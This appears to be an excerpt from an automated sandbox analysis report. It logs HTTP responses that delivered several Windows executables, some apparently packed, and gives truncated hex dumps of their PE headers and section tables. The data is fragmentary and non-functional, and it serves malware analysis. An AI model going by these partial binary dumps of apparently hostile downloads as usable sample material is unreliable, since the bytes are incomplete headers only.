00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:22:38 GMTContent-Type: application/octet-streamContent-Length: 3254784Last-Modified: Sat, 16 Nov 2024 17:58:50 GMTConnection: keep-aliveETag: "6738dd5a-31aa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 31 00 00 04 00 00 11 52 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 99 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 99 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 67 70 70 7a 77 63 7a 00 f0 2a 00 00 b0 06 00 00 ea 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6c 77 6e 61 79 6c 70 00 10 00 00 00 a0 31 00 00 06 00 00 00 82 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 31 00 00 22 00 00 00 88 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:23:10 GMTContent-Type: application/octet-streamContent-Length: 1868800Last-Modified: Sat, 16 Nov 2024 17:58:35 GMTConnection: keep-aliveETag: "6738dd4b-1c8400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 d0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4a 00 00 04 00 00 dc 57 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 73 69 72 66 72 78 6d 00 d0 19 00 00 f0 